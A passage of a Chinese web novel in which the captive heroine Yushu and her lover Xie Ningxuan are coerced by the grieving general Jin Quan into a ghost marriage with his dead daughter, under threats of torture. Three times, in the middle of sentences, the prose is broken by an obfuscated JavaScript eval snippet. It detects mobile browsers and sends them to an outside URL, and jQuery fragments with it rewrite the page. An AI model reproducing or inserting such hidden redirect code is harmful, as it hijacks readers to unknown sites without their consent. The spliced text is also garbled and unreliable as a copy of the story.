每个人的行为都逻辑自洽。他们站在他们的角度,不会觉得自己有错。 谢宁轩,这次,你我该怎么自救?金权,你亦是不想伤害的,不是吗?所以察觉有异,只是登门警告;所以给圣上汇报幕后之人,也拿掉了他的名字。 你也没想到吧,光天化日之下,他竟就动手了。不考虑后果,不考虑生死。他亦是抱了必死之心啊。 黑衣男子解开了我双腿的绳索,让我自己出门。我知道,四处都是他们的人,凭我,绝跑不出去。索性知趣,我活动了一下僵硬的双腿,就跟着他出了屋子。 雨停了,天色依旧阴沉。 关我的屋子,按照格局,是个柴房。我们现在走在廊下,看方向是往前院走。这好像是个不大的宅子,古旧简陋,但打扫的干净,并不荒废。 绕过月门,黑衣下属引我进了一间厅堂,金权、孟秋帆都已经在内了。 “羽书,羽书!”耳旁立时传来惊叫,我扭头一看,是谢宁轩亦双手被缚于身后,绑在一张椅子上。 “唔……唔……”我发不出声来。黑衣男子扯住了我身后的绳索,将我绑在距离谢宁轩十步之遥的柱子上。我极力挣扎,无济于事。 “伯父!你恨我则已,这根本和羽书无关!不要为难她了,放开她!”谢宁轩厉声道,一双眼定着我身上,眼圈骤红。 “怎么和她无关了?你不是与她心心相印,一心要娶她呢么!”孟秋帆立于门边,阴恻恻地说,“今个儿还神秘兮兮与圣上见面了?怎么,请求赐婚了?还是达成女捕快的愿景了?真得意啊。” 谢宁轩压根没理他,只紧望着坐在上首的金权:“伯父,我既来了,自任凭你处置。我谢宁轩为人处世,自问无愧于天地,无愧于任何人。你既要将金小姐的死怪罪于我,相信任凭我如何解释,你也不会听信了。那就别耽误时间,要杀要剐直接来,没必要为难羽书。你放了她,我可以写信给父王,对你轻判。” 回答的依旧是孟秋帆,带着浓郁的嘲讽:“轻判?你当你还是高高在上的刑部左侍郎呢?在这里,你是我们的阶下囚!我们爱怎么处置,你得求着我们来!少一副盛气凌人的姿态!这女子,和你一个路数,都是尖酸刻薄之辈,也得死!” 谢宁轩脸色阴沉,他终于看向了孟秋帆,露出和我一样的轻蔑、鄙视。 他冰冷的念:“孟府东厢,湖滨杂草泽下,挖出六具尸体,两男四女。洒扫下人,有七人入府时健全,同年或眼瞎舌断,或腕骨骨折,形同废人。孟秋帆,这都是你母亲为了掩盖你和你弟作为而草菅的人命。我来之前,孟老已经写完休书,呈递圣上,请府衙拿人了。” 休妻,孟老休妻了!没有了诰命夫人的身份,只要圣上不再刻意压着,就可对孟夫人问罪了! 杀了六个人,毁了七个人,就是为了灭口!孟夫人,真亦狠毒之辈! 房中所有人都朝孟秋帆看去,包括一直没有说话的金权。然而孟秋帆无动于衷,似丝毫未将母亲遭遇放于心上。 这是生了个什么怪物,财狼之子尚知母恩! 谢宁轩却似早就料到,并无惊讶,继续丢下重磅:“圣上方才下诏发于礼部,革去你武举人的功名。孟秋帆,自此后,你再也不是……” 话没说完,孟秋帆已大怒变色。如同电闪雷鸣,他整个人像在蒸锅中滚过似的,怒火涨红了他的脸。他一个箭步奔到谢宁轩身前,一把捏住了他的咽喉。 试图掐死我那样,他又原模原样对待谢宁轩。 谢宁轩脸色也渐渐憋红,唯一双眼,依旧冷寒的望着他,像看路边的垃圾,嫌恶、漠视。 明明与刚才几乎一样的情景,我此刻涌上的担忧情绪,可比方才浓郁多了。我挣扎着,努力嚎叫着,虽然我发不出声音。 好在,金权不想让谢宁轩死在孟秋帆的手上。黑衣男子立即上前,用力拖走了孟秋帆。后者狠厉、绝望的叫骂声不绝于耳。 谢宁轩重重咳嗽数声,才缓过劲来,忙向我摇头:“没、咳咳、没事,羽书,我没事,别、别害怕。” “你倒真是在乎她,处处为她着想。”金权终于开口了,还是那样,平静下带着倦意。 谢宁轩丝毫未作隐瞒,直言道:“晚辈毕生所爱唯羽书一人,之死靡它。” 我的眼眶也热了。 “好一个‘之死靡它’,老夫是看出来了。否则也不能绑了她,来胁迫你不是?” “金伯父,晚辈不明白,您到底想要什么?孟秋帆这种货色,您也招致麾下?又伙同茹贵人,利用陈尧昇弹劾。您若就是想要我的性命,抵给金小姐,拿去便是,何苦绕这弯子?” 金权沉默片刻,叹了口气。他幽幽道:“老夫一开始,也不知道该拿你怎么办。杀了你?鸯儿在九泉下,就能高兴吗?这女子若为你殉情,到了阴曹地府,你们还是郎情妾意,碍了鸯儿的眼!” 我听糊涂了,谢宁轩也蹙眉,顺势道:“那就放了羽书!您可以把我尸骨毁了,羽书也寻不到,绝了我二人合葬的念头,到了九泉下,自是无法团圆。” 金权抬抬眼帘:“你倒是豁达,一点不考虑身后事,只想让她活着,只想救她?” “她本就和金小姐之死没关系。我不接受金小姐,也早在她上京之前。江瑟楼她受伤惨重,亦险些被辱,也是为了救金小姐,她何错之有?只因为我爱她吗?那你就算杀了我,千刀万剐、五马分尸,我也不会后悔、不会改变心意。” 谢宁轩语气并不强烈,甚至可以说是平淡、冷静的。但掷地有声、言辞锋利,却也如是。 我愈发感动,泪如雨下。 金权也未恼,反而颔首道:“老夫知道,拗不得你。一开始孟秋帆是想,通过弹劾也毁了你的前程,毕竟五年前的奏本,你和圣上在太元殿争执,气的圣上拂袖,这是不少人都看到了的。但他低估了圣上对你的宠爱,也低估了你的能力。故意写上她的名字,则是老夫提的,本也以为圣上盛怒下,能处置了她。老夫就是想看看,你能为她做到哪一步。” “计划失败了。”谢宁轩了然道,“弹劾奏本上呈,却迟迟不见处置。圣上召见我,还如往常一样。但你们都没放弃,直到你们发现,羽书隐匿身份、藏于宫中?这又是个机会,对吗?” “老夫不赞同,觉得不是什么好主意。只是老夫也没料到,他说动了陈尧昇,让皇后和陈家也加入,才有几分胜算,能除掉她。没想到,她竟能说服皇后倒戈。” 谢宁轩问出了也埋在我心中的疑惑:“谁认出的羽书?孟秋帆应该已经被孟府逐出,孟老不太可能会向他提及羽书的存在。宫中,你们还安插了什么人,竟认识羽书?” 答案令我们意外。“茹贵人。” 谢宁轩与我对视,都感到迷惑。茹贵人怎么可能认识我?我们只在绣花大赛赛场打过照面,当时人山人海,我可坐在最后啊! 金权淡淡道:“她说她自后殿窗外,看到三殿下晚到,坐于一女子身侧,还放松的小憩。太后那时正在为三殿下甄选王妃。茹贵人留意,也只是好奇三殿下是否有了心仪对象,想着向太后提及,若成了,可算卖他个人情。之后李怀远递信汇报案情进展,提到你与女子亲密,他们都很好奇。一说长相,才发现是一个人。及至李怀远罪行败露,牵连李家,她亦被冷待降位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725723|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然就恨上了你们,也不自觉,牢牢记住了一面之缘的她。” 好家伙,当日只在赛场遥遥一观啊。 慈宁宫她来时,我站在侧殿门口,丫鬟跑去招呼,我们是互相看了一眼。我当时可没认出她。 照相机的记忆呐,不当特工可惜了。 我摇摇头。旋即也想明白了宫中筹谋的时间问题,我说怎么来的那么突然、那么快。原来我刚一进宫,已经被盯上了。 “计划又失败了,茹贵人还把自己折了进去,确实是愚蠢。”金权语气也很轻蔑。 我明确的感知到,他根本也看不上孟秋帆、茹贵人之流。一起合作,仅仅在于目标的一致。 轮到这次,他出手了,招数高明不少。但没留后手啊,谢宁轩来之前,三殿下、齐王府,乃至东宫、皇宫,估计都知道了。杀了我们,金权也没有活路。 他也不想要活路了,是不是? 我盯着他放于两腿之上紧握的拳头,自脸颊滴下的汗珠,心中有了答案。 窗外,小雨又开始淅淅沥沥的下,砸在青石板砖上,发出轻盈、悦耳的响声。 “金伯父,您没必要这样。金小姐去了,您也还有夫人需要照拂。今日事毕,金家所有人都会被牵连,何苦至此?” “老夫总要遂了鸯儿的心愿吧。”金权淡声道,“这几个月来,她日日入梦。老夫也想罢了……老夫甚至后悔,七年前就不该带她回京述职,不就没这祸事了。” “伯父勿要自责,此事怎能怪罪到您头上?回京效力,本就是您在边疆劳苦功高,圣上体恤给的恩典。七年执掌羽林军,您兢兢业业、夙兴夜寐。宋璃感佩于心,圣上也时有夸赞。江瑟楼案,说来说去怪的是土匪、是周达尹,怎么能是您?”谢宁轩诚恳劝解道。 金权未有纾解。显然,这些话,他没少对自己说过。但他还是走不出来。既然都怪到自己头上了,我和谢宁轩,他也的确很难不怨怼。 可他今天之举,到底图谋什么?真的想杀了我,杀了谢宁轩吗? 谢宁轩也看明白了,没再深劝。而是将目光投向我,如海深眸,点点滴滴都是温柔;梨涡似浅溪蜿蜒,盛满了眷恋和不舍。 “羽书,今日或是终日,你我要告别了。” 唇舌漫出血腥气,我不知道我咬破了哪里,唯拼命的摇头。满心满肺剩下的,只有疯狂的思念,和最深最深的畏惧。 谢宁轩,你不要死,你不能死!你还没有娶我,没有践诺啊! “我爱你。”谢宁轩直白的宣言,“至死不渝,天地……” 然而深情的告白,被金权不留情的打断了。他用一种疲倦、厌恶、烦闷的语气说:“行了,不必生死离别那样凄苦。老夫没打算杀了你们任何一个。” 啊? 我和谢宁轩都懵了。面面相觑,不知道他葫芦里究竟卖的什么药。 金权两腿靠在一起,坐的笔挺。这个坐姿好像和寻常男士,尤其是行伍之人惯常两腿分开的坐姿,不太一样。金权上了年纪,身形也不单薄,这样坐,不难受吗? 他果然是得病了,虚弱了,在硬撑着,是不是? 金权也没理会我们狐疑交换的眼神。在几个回合的废话,完全没必要的对抗之后,他终于说出了用意。 “你们没猜错,老夫是病了。鸯儿入梦,或也代表,老夫已去日无多。今日,老夫挟持你二人来,只有一个要求。你若能应下,老夫就放了你们。” 谢宁轩眉头蹙起,一时没有作答。他不太相信,正权衡着对策。 “宁轩,老夫训练的亲兵,你当知道。哪怕三殿下带兵,如此易守难攻的地段,他一时半会也冲不进来。老夫若有心杀了你们,或者遂了孟秋帆的心意,把她丢给……” 话没说完,谢宁轩已经凛声道:“什么要求,伯父但说无妨。” 金权扫了一眼我,轻嗤道:“就这么怕失去她?听听都害怕?” 说着,他伸手自衣襟中掏出一个红色卷轴。 不知怎得,我余光扫见谢宁轩表情微变。 “宁轩,你娶了鸯儿吧。签下婚书,和她冥婚,让她做你的正妻。你还要承诺,此生绝不续弦。” 174.虚名 我傻眼了。愣了好几秒,才反应过来金权的意思。 这是让谢宁轩签个字,和已经死掉的金小姐拜堂成亲,给她一个名分。就能放了我们? 就这么简单?还有这种好事? 谢宁轩正寒声回绝:“不可。伯父,请恕宁轩不能答应。我心中唯有羽书一人,嫡妻名分,只能是她的。” 这话说的干脆利落,我能清晰的感知到,是他真心所愿。 但,这有啥的! 你们古人就是好糊弄啊,为个虚头巴脑的名分要死要活?什么嫡妻什么续弦,这有啥的啊!你就算给金小姐讨个皇天万世母娘娘的美名,她也不能复生了! 我立时就给谢宁轩挤眉弄眼,递眼色告诉他,我不介意,我不care,咱俩只要好好的,能在一起,相爱陪伴,何必在意这些虚名! 何况,他让你答应的,是和一个往生之人结亲,又不是硬塞给我们之间一个活生生的女子,那才膈应嘛。 答应吧,答应吧。赶紧搞完流程回家吃饭了! 然而,谢宁轩丝毫没有接到我的眼色,他只庄重的看向金权。 “伯父,生死事小,诺言为大。我承诺过,此生只有羽书一个女人,也答应要明媒正娶,让她作我唯一的妻子。我不能为了自己苟活,就应下这违背诺言的要求。金小姐已去,我不可能、也不配与她冥婚。” “唔……%@¥@¥……” 我在大声嚷嚷,可惜没人听得懂。 许是会错意了,谢宁轩扭头,竟还对我认真的说:“羽书,你放心,我必不会让你以妾室身份进门,白白低人一等。朝臣嫡妻的诰命,计入玉牒的尊荣,只能是你的。” 不是,等等,大哥! 只要你没有旁人,唯你我真心相爱相守,咱们俩就是夫妻!介意这个干嘛!现在可是生死关头,小命不比这些虚名重要啊! 金权并不诧异。他又露出倦色:“宁轩,你细想,这样的要求,老夫绑你一个,甚至在你来老夫府上那日,就能提出。老夫绑她作甚?自然是知晓你不会答应。她是你的软肋,老夫很清楚。老夫能用她的清白、身体康健,甚至她的命,来胁迫你。” 谢宁轩脸色骤沉,他死死盯着金权,太阳穴青筋暴起。 “宁轩,你真的不答应吗?老夫没有得寸进尺,让你立下誓言,今生不得娶她。你还是可以和她在一起,鱼水之欢、百年好合,老夫是容了你们的。但鸯儿,不能就这么白白死了。老夫不管你怎么说,不管当日她有没有施救。宁轩,鸯儿是为你死的,你就必须娶了她。” 金权语气淡漠,越到后面,越见冰冷,最后一句更是一字一顿,寒彻骨。 这是道德绑架,赤裸裸道德绑架! 但,他要的真不多……虚名的事儿,完全不用放在心上嘛! 我努力呜呜哇哇的张口叫着,无奈口中布团太大,根本无法出声。 奶奶个腿,你倒是放开我,我来劝他啊! 谢宁轩眼中终于飘上了绝望之色,他朝我投来深深目光,微微旋了旋嘴角,梨涡不见。 心中浮现不祥预感,我大骇,更加努力的叫嚷着。 不要,不要啊! 谢宁轩已然决绝开口:“伯父,抱歉,我不这样认为,也不会因为愧疚,就赔上我的终身大事。你拿羽书胁迫我,我无能为力。你说得对,我看不得她受一点伤,流一滴泪。但我可以换个法子全你的心愿……” 不要,不要啊! “羽书,再见了。你要好好活下去,别为我做傻事。” 说完这句遗言,他竟就闭上了眼…… 我靠,他要咬舌自尽? 谢宁轩,你疯了! 说时迟那时快,我用左脚蹬下右脚的鞋,向后收腿,猛地朝前一踢,绣花鞋径直飞出,朝谢宁轩袭去。 但我又不是柯南,这力道哪够啊! 然同一时间,自上首金权处,一个茶杯以旋转状高速飞去,亦朝着谢宁轩的方向打去。 两厢击中,竟在谢宁轩身前撞击,发出一声闷响。两样物件就这样,谁也没打到谢宁轩的脸,谁也没阻止他咬牙的动作,就于中途掉落。 我吓得呼吸都停了。 金权亦大喝一声:“宁轩!” 谢宁轩睁眼了,愕然又茫然的盯着地上的物件。 像是被施加心肺复苏,我总算找回了心跳和呼吸。上首的金权也长舒一口气,塌下肩头。 好在谢宁轩还没来及咬牙。天哪,惊魂一刻,吓死我算了。 随即而来,是金权的怒声。他严厉的呵斥道:“宁轩,你别想着求死!你今天敢以死逃避,老夫就把她丢到青楼,人尽可夫!” 谢宁轩怒目而视,咬牙切齿。 我依旧呜呜呜呜挣扎着。 天哪,求求你们了,谁来给我解开布条!这事没这么难,我同意,我同意的啊!你们倒是看看我呐! 窗外雨声渐大,谢宁轩面上,亦是风雨欲来。他们两个,一老一少,就像两只虎视眈眈的兽,博弈着、战斗着。 没辙了。得,我还是用老法子吧。感谢黑衣男子,没绑住我的腿。 我再次使出了踢腿招,这次目标,是金权。 余光瞥到绣花鞋飞来,金权条件反射拂袖,“唰”得就扫开了。 “你还敢袭击老夫?”金权怒气冲冲。 我赶紧朝他乌拉乌拉,一面用我仅能活动的腿脚朝谢宁轩方向踢。 看懂了没,看懂了没? “哼,怎么,你也舍不得正妻地位?老夫才不管宁轩给你说了多少漂亮话,老夫今日不看到他和鸯儿成亲,你就等死吧!” 我拼命摇头,一个劲歪头踢腿,给金权疯狂的使眼色。乌拉乌拉,我努力叫着,我不介意,我不介意! “羽书!”谢宁轩高声道,“莫怕!我宁死不遂他意,绝不会负了你!” 死个屁!多大点事,哪值得死啊! 然而我的乌拉乌拉和斜眼踢腿,他俩都没看懂。我火冒三丈又精疲力竭,腹诽着谢宁轩,默契,默契呢!往日咱俩的默契呢! 这时,谢宁轩心疼的不行了,他扭头又冲金权发火:“放开她!我都说了,这事和她无关!你就算想拿她威胁我,至少对她好点,解开她口中布条,她要呼吸不上了!” 我是呼吸不上了,被你丫气死。 金权迟疑了一下,或许认为就算让我开口,局面也不会比现在更坏,他终是阴沉着脸撑腿起身,走了下来。 布条总算解开,我哇的一声吐出布团,嘴边肌肉又麻又痛,像针扎一样。 顾不得其他,我立时朝谢宁轩叫唤:“答应,答应他!我不介意,我不介意!” 谢宁轩面色不变,他只是哀伤的垂下睫,朝我道起歉来。“羽书,对不起,是我疏忽,害你受伤受惊吓,现在还要违心的……” “违什么心哪!我说真的,答应他!” “羽书……”谢宁轩又叫了一声,带着缠绵的软弱。他好怕失去我,我知道。 眼见这个古板笨蛋还以为我在伪装洒脱,我也不敢当着金权直白地说,我们21世纪女性,谁相信冥婚这玩意,谁在意一卷纸上的内容。 我们要的是实打实的利益,老娘可是务实派! 我只好转向金权,语速飞快的问:“你说的是当真的吗,只要他签下,只要他拜堂,你就不伤害我们,放我们走?” 金权颔首。背景音是谢宁轩幽幽的叹息。 “可孟秋帆是要我们性命的,他不会眼睁睁看我们离开。” “老夫的地界,老夫的人,有他说话的份吗?”金权用鼻子重重出口气。 “好,那你给我点时间,我来劝服他。给我们松绑!”我急声道,看见金权纹丝不动,又耐下性子祈求道,“这是你的地盘,你自己说的,我俩逃不出去!你怕什么?怕我们互诉衷肠完了殉情?真愿意死,刚我就不救他,直接跟着咬舌不就行了吗?我答应你,不殉情,不求死,不逃跑,行了不?赶紧的吧,我真不介意!” 哎呦,说破大天,你们这些人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740063|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是迂腐! 听着我急切的说辞,金权还是动摇了。他斟酌了一下,判断我说的没错,逃不出他的手掌心。便叫人进来,给我二人松了绑。 “一炷香,老夫只给你们一炷香的时间。酉正吉时,不能误了。” 说罢,他头前迈步,出了厅堂。 而我,已在谢宁轩疾奔而来中,被他紧紧按在怀中。 他抱的那样紧,似要将我按进他的血脉骨骼之中。 “羽书,羽书!怪我,怪我,没想到他竟敢青天白日绑架民女!你怎么样,你没事吧?”谢宁轩拉着我上上下下地看,在瞥见我口角血痕之际,更是眼眸一紧,肉眼可见的心疼。 “羽书,”他再次将我按进怀中,深情表白着,“你放心,我绝不会答应。我不会娶任何人,谁也别想夹到你我之间。今生今世,我只要你一个。” 我埋在他的胸膛前,听见他蓬勃的心跳声,犹如我自己的呼吸,令我依靠与安心。他的气息,他的温度,荷尔蒙隐秘而幽若的钻入鼻孔,是我对他早就不自知,深埋下的眷恋。 我紧紧环住他的腰,也想钻进他的身体里。两厢情浓,他低下头,轻轻扣住我的后脑,热切的、眷恋的、霸道的吻,密密麻麻而来。 我吞住他的舌尖,只敢蜻蜓点水,就推开了他。 “时间不多,谢宁轩,你听我说!” “嗯……”谢宁轩仍沉浸在热潮中,看我的眼神别提多粘稠了。 这家伙,真以为我要一炷香,是来恩爱,坚定阵线来了? “你听我说,你快答应!我真的不在意,我没有故作大度,故作潇洒!我说真的!” 谢宁轩眉头轻挑:“羽书,你别担心。来之前我已有部署,只消拖延,三殿下和宋璃就来救我们了。” 我认真道:“我知道你定不会什么准备都没有,就贸贸然赶来。但咱们也没必要吃亏啊,金权提的又不是掉块肉的大事,有什么……” “不是大事?”谢宁轩一怔,“名分,这怎么能不是大事。” “我知道于你们而言,名分……” “于我们而言?”谢宁轩再次打断我,狐疑的问,“于你不是吗?羽书,你怎么会不在意名分?你曾还为太后赏贵妾、林母安排通房而耿耿于怀,怎么会不在意名分?” “那是一回事吗?”我艰难的解释着,“一个活生生的人夹在婚姻之间,和一个已经不在了的、只是婚书一个名字的虚无,能一样吗?生死关头,何苦为了虚名吃亏?只要你我在一起,只要忠贞不二、没有第三个人,我当正室还是小妾,又有何分别?” “分别大了!”谢宁轩肃然,“妾室要给正室下跪行礼,正室才能上玉牒,你我的孩子将是嫡子,我的爵位、我挣来的功名,都是他的……” “那你只有我一个女人,我生下的孩子,就算是庶出,还不就这一个孩子?还不就天经地义继承父亲的东西吗?” 谢宁轩语塞,依旧强硬的摇头:“不行,我不能让你受这委屈。妻,与夫齐;妾,接也,以贱见接幸也。羽书,妻妾之差天壤之别,你难道不明白吗?想想你的三婶和秦姨娘吧!” 他这么一说,我也想起祖母闲话谈及,三叔所有官员间的聚会,女眷唯能三婶参加。一些官员丧妻,宁可独自去,都不能带着小妾,否则必有弹劾……青朝妻妾分明,罕有宠妾灭妻。 “金权的婚书甚至要求我不能续弦,而我朝也规定妾室不得扶正。羽书,我一旦签下这婚书,他必公开,就再没有挽回余地,终你一生,都无法成为我的妻。我绝不答应!” “可我、我不在意……” “你该在意的。”谢宁轩语重心长地说,“羽书,名分于女子而言,是顶天重要的东西。别为了一时心软,牺牲了自己的后半生。你现在觉得无所谓,是还没有面对成亲的那一日,没有八抬大轿,没有凤冠霞帔,你就像不被重视的浮萍,是召之即来的玩意。羽书,这就是妾!” “那、那我们就不能签了再反悔吗?反正是生死相迫,事出有因啊。” 175.拜堂 “你觉得他那么愚笨,想不到我会反悔吗?”谢宁轩沉脸道,“他利用山崖旧居之高,须臾就设好了防御,必是为今天筹谋已久。多荣姑母的到来,更给了他绝好的机会。今天只要我应下,拜了堂、签下了婚书,他就能放了我们?那是对内,对你我这么说,没有别的要求。却也不会立时放我们走。” 我后背一凉,登时猜到了:“他会以你我胁迫,逼齐王拿着婚书,去请旨,要求记入玉牒?那、那就不能撤销……” “人言可畏啊羽书!圣旨、玉牒一旦发出,即便事后圣上收回,宗室谱录也会留下记录,更会传遍坊间。你我明明无愧于金小姐,传着传着,恐怕就成了我薄幸负心;你见死不救,甚至有意害她之说!人们或还会认为,我宁愿和她冥婚,也要保证她的嫡妻地位。届时,你该怎么办,承受世间指指点点吗?” 我方了,真想不到,这事这么严重吗? “我可以签,我可以拜堂,我可以冥婚,于我,就当一场噩梦,我有什么损失呢?但你,羽书,未来人生那么长,你真的能容忍没有名分在我身边吗?别信什么贵妾,什么恩赐高人一等,妾就是妾。日后,你受到的每个冷眼、每个歧视,你都能平静的接受,内心不起波澜吗?这些今天看起来无所谓的虚名,或许日后就会造成你我关系的裂缝,怎么能轻视之?羽书,我舍不得如此轻薄待你,你也不能如此对自己啊!” 看着谢宁轩认真的眉眼,我深刻的感知到,他的所有坚定,都是为了我好。同时,他也真的将“虚名”看的很重,想得很远。 或许,他说的是对的。 我不该拿21世纪的观念要求当下的人们。谢宁轩是这个时代的人,他有着时代思维的限制,这是事实。而金权搞这么大手笔就只提出这个要求,也足以说明,在今世道,这的确是堪比性命的大事。 我的脸色也变了,我终于意识到,自己想得太简单了。 谢宁轩握住了我的手,坚定道:“羽书,你无需担心,今日就算杀了我,我也不会答应。至于他威胁那些,你也别怕,金权只是吓唬我们。你看刚才我咬舌……” 他不提咬舌便罢,一提我瞬间又像被雷击,心下恐慌弥漫。 我登时拔高声线:“你怎么能那样!你吓死我了你知道吗?你要真有个好歹,我怎么办!” 谢宁轩忙抱住我的腰,抚上我的脊梁骨,安抚道:“我怎么会呢?没确保你安全之前,我怎么敢死?羽书,我那是试探金权,你没看出来吗?” 试探? “额,所以你突兀的咬牙,故意说出的遗言,迟迟没咬……” “我不给你使眼色了吗?”谢宁轩柔声道,“那遗言就是给你说,好好活下去,我不会死的呀。” 我一拳锤在他胸口,眼泪都下来了。“你混蛋,哪有拿生死试探的!我吓都被你吓死了,大脑都不转了,还使眼色,还暗语!你坏死了!” 谢宁轩握住我的拳头,放于唇下轻吻。他贴近我,又以唇瓣拂去我眼下的泪。 “羽书,抱歉,吓到你了。我只是拿不准,金权还是不是那个金权,才不得不出此下策。” 我哽咽着,又后怕的咬了他一口,方追问:“什么意思,为什么要试探?” “金权治军一向严格,亲兵心腹皆是人品素养一流之兵士。这些人,我相信他们根本做不出玩弄良家妇女之举。而他教导宋璃一将固然难得,千军也都是人命。这样的人,他真能做出伤害你,虐待你的行为吗?我不相信。但孟秋帆竟和他在一起,我实在担忧他变了性子,才要试探一下。” “那,什么结果?他还是原来的他吗?” “嗯。”谢宁轩胸有成竹,“你注意到了吗,方才他朝我扔杯子,是用尽了全力的。他额头出了密密一层汗,费尽全力才止住了颤抖的手。他病得不轻,将死之人,若真要复仇,完全可以杀了我。为什么非要我答应冥婚?大抵就因他本质上,就不是虐杀残暴之人。或也为了这帮下属考虑,不愿他们背负谋杀朝臣的罪责,牵连之广。所以刚才,哪怕自己险些不撑,他也尽力救下了我。” 我听明白了,越发觉得造化弄人。金宝鸯若是没出事,金权何至于走到这步。 “羽书,你别怕,我不会让你有危险,也不会答应那荒唐的要求。此生,我只愿……” 突兀的声音响起,是金权的冷笑:“谢侍郎对老夫这般高看,老夫深感欣慰。但侍郎怕是忘了,老夫久历沙场之人,见点血,老夫难道还当个事儿?来人,抬上来。” 随着他撂下狠话,是两个士兵冲进来一左一右按住我和谢宁轩,将我们又生生拉远。最初进来过的蒙面黑衣人,则拿着一个物件走进来。 我定睛一看,登时血液倒流。 这是个拶子,夹手指的刑具! 谢宁轩亦脸色大变,再也耐不住,吼道:“金权,你疯了!残害无辜女子,以多欺少、以强欺弱,你还算是个将军,算是个男人吗?冲我来,你冲我来!” 金权毫不在意,只拖着疲惫的身体走到椅子上坐下,又差人将窗户开大了些。 他深吸口气,简短地问:“决定好了吗,半个时辰后就是吉时,得梳妆了。” “金权,你沉浸丧女之痛,本值得同情,然你冥顽不化,竟干下如此……”谢宁轩厉声喝着,无奈被兵士死死压着。而我,也被黑衣蒙面男举着拶子步步靠近。 “不要,不要!”我惊恐的叫着,拼命闪躲着。 然而,我的手还是被无情拉起,眼看就要碰触到拶子…… 谢宁轩眼仁都变红了,他暴怒的叫骂、呼唤、祈请,终于化作了无望的屈服。 “好!我答应!我答应!放开她!” 突兀的叫声后,是屋内一片寂静。 金权依旧是淡漠的表情,也不意外。他早就料定,谢宁轩终会为了我,违背自己的原则。 “谢宁轩……”我颤抖的叫了一声。 冷汗已在挣扎时,浸湿了我的小衣。可此刻它滴滴自颊边滚落,不仅来源于彻骨的后怕,还有无尽的灰暗。 谢宁轩跌坐在对过的柱子旁,身侧的小兵已经放开了他。他垂着眼睫,眼角渗着泪,就那样僵坐着,好似被主人丢掉的牵线木偶,动都不会动了。 不能保护心爱的女人,终要被绑架的人生。他有多绝望,我看的清清楚楚。 “谢宁轩……”我又叫了一声,眼泪无知无觉滑下,亦顺着脸颊颗颗滚落。 谢宁轩终是抬眼看我。他勉力卷起嘴角,仍想要对我微笑。哪怕这个时候,他还是不想让我担心。 “没关系的,没关系的。”我哭着说,“我都知道,我都知道!” “羽书,对不起。”谢宁轩双眸充血,他像一头斗败的兽,甚至无力舔舐伤口。痛苦扭曲着他,颓丧吞噬着他,我甚至可以清晰的感觉到,那种心如刀割的痛楚。 他想要保全我,想要给我唯一的、珍贵的名分,我都懂得。 金权看事已落定,也未再说什么,只抬眼看向下属。黑衣蒙面男颔首:“都布置好了,小姐灵位也请来了。” 灵位?灵位! 哦是,冥婚是得捧着金宝鸯的灵位,和谢宁轩拜堂的。 那么……等等。 死掉的心,倏地灌入一股热流。像是有人从不见天日的森森古井中将我捞出,我的心突然就泛活起来。 一个主意,一个不合时宜、不甚道德的主意,瞬间冒出。 “等一下!”我立即高叫,留住了迈步出殿的金权,“我还有个要求。” 金权回眸,带着不耐烦:“你还要干什么?” “他和金小姐成亲,你又不准续弦。也即,今生今世,我没有办法和他大婚了,是不是?” “老夫许了你和他长长久久,没要你们的命,还不够仁慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755618|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 我没有回答,径直说出我的要求:“让我捧灵位,让我替下人来。它总要有人捧着,谁捧不是捧?让我来,至少让我和他同跪,至少让我陪他经历这些!你明知他不愿,至少让我陪他!” 金权锁眉,狐疑一闪而过。 余光,我也看到,心如死灰的谢宁轩抬起眼帘,也朝我凝目看来。 谢宁轩,默契,这一把,真的指望你我的默契了! 我不甘示弱的回瞪着金权,尽量表达着自己的委屈。“我们都已经这样,我们还能耍什么花样?婚书一签,他就是金宝鸯的了。你让我捧着她的灵位,亲眼看她嫁给他,才叫杀人诛心啊!怎么,你不恨我了?不想替你女儿,对我出口恶气了?” 金权动摇了,他的确深深怨恨着我。 “好,这可是你自己要求的,到时候可别承受不住哭哭啼啼!冥婚仪式,你休想捣乱。” 我露出苦笑:“我还有什么能力,能在守卫森严的你的地盘,你眼皮下捣乱?我无非、无非还有些痴心罢了。” 金权未在多说,只最后看了我一眼,就走出了厅堂。而谢宁轩,也在身边两个兵士的撕扯下,被拖出去更衣。 这个过程中,我一直站在原地,不敢上前拥抱他、亲吻他。但没关系,我打算的,我要说的,我要做的,我都通过眼神告诉他了。 谢宁轩的双眸,从黯淡无光渐至遥远星光。是他惊愕而又敏锐的察觉到我的意图。他是震惊,却又激动、感动的,是不是? 临出厅堂前,他终是忍不住,轻喃了声:“羽书……” 我点点头,前所未有的坚定。 